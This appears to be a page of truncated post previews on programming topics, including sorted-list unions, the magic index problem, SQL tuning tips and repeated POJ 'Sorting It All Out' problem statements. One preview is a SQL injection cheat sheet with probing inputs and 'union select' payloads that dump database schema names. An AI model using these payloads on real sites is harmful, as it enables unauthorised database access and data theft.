Union Two Sorted List with Distinct Value Given X = { 10, 12, 16, 20 } & Y = {12, 18, 20, 22} We would like to find out the union of two sorted arrays. Union of X U Y is {10, 12, 16, 18, 20, 22} Array: public static List<Integer> unionTwoSorted…
A magic index in an array A[0...n-1] is defined to be an index such that A[i] = i. Given a sorted array of distinct integers, write a method to find a magic index, if one exists, in array A. FOLLOW UP What if the values are not distinct? public int g…
SQL 高性能查询优化语句,一些经验总结 1.应尽量避免在 where 子句中对字段进行 null 值判断,否则将导致引擎放弃使用索引而进行全表扫描,如:select id from t where num is null;可以在num上设置默认值0,确保表中num列没有null值,然后这样查询: ; 2.应尽量避免在 where 子句中使用!=或$amp; 3.应尽量避免在 where 子句中使用 or 来连接条件,否则将导致引擎放弃使用索引而进行全表扫描,如:select id from t…
FindObject: ---在当前Server上找某某object,注意只需修改"要找的object"就可以使用EXEC sp_MSforeachdb 'use ? ;IF EXISTS(SELECT top 1 1 FROM sys.syscomments WHERE text LIKE ''%要找的object%'')SELECT ''?'' as dbname,object_name(id) as object FROM sys.syscommentsWHERE text LI…
Classes and methods Usage Class Redis Class RedisException Predefined constants Class Redis Description: Creates a Redis client Example $redis = new Redis(); Class RedisException phpredis throws a RedisException object if it can't reach the Redis ser…
Sorting It All Out Time Limit: 1000MS Memory Limit: 10000K Total Submissions: 33184 Accepted: 11545 Description An ascending sorted sequence of distinct values is one in which some form of a less-than operator is used to order the elements from s…
poj 1094 Sorting It All Out Time Limit:1000MS Memory Limit:10000KB 64bit IO Format:%lld & %llu Description An ascending sorted sequence of distinct values is one in which some form of a less-than operator is used to order the elements from sm…
查找注入点 在url中: 1. ' 2. and 1=1/and 1=2 3. 随即输入(整形) 4. -1/+1回显上下页面(整形) 5. and sleep(5) (判断页面返回时间) 判断有多少列 order by ..... 爆显示位: id=88888888') union select 1,2,3 --+ 先获取数据库: id=') union select 1,2,group_concat(distinct+table_schema) from information_s…
每次加入一个关系都要进行拓扑排序,不过在排序过程中需要判断是否出现多个入度为0的点,如果出现了就说明不能确定大小关系.不论出不出现多个入度为0的点拓扑排序都要进行到最后来判断是否出现环,因为一旦出现环就不用再比了,一定是不能排序的. 另外,注意输出序列之后的那个逗号...... Sorting It All Out Time Limit : 2000/1000ms (Java/Other) Memory Limit : 20000/10000K (Java/Other) Total Subm…
Description An ascending sorted sequence of distinct values is one in which some form of a less-than operator is used to order the elements from smallest to largest. For example, the sorted sequence A, B, C, D implies that A < B, B < C and C < D.…
9.3 A magic index in an array A[0.. .n-1] is defined to be an index such that A[i] = i. Given a sorted array of distinct integers, write a method to find a magic index, if one exists, in array A.FOLLOW UPWhat if the values are not distinct? 这道题定义了一个魔…
Sorting It All Out Time Limit: 1000MS Memory Limit: 10000K Total Submissions: 28762 Accepted: 9964 Description An ascending sorted sequence of distinct values is one in which some form of a less-than operator is used to order the elements from sm…
Sorting It All Out Time Limit: 1000MS Memory Limit: 10000K Total Submissions: 29744 Accepted: 10293 Description An ascending sorted sequence of distinct values is one in which some form of a less-than operator is used to order the elements from s…
Sorting It All Out Time Limit: 1000MS Memory Limit: 10000K Total Submissions: 29539 Accepted: 10233 Description An ascending sorted sequence of distinct values is one in which some form of a less-than operator is used to order the elements from s…
解题报告: Fence Repair Time Limit: 2000MS Memory Limit: 65536K Total Submissions: 39958 Accepted: 13033 Description Farmer John wants to repair a small length of the fence around the pasture. He measures the fence and finds that he needs N (1 ≤ N ≤ 2…
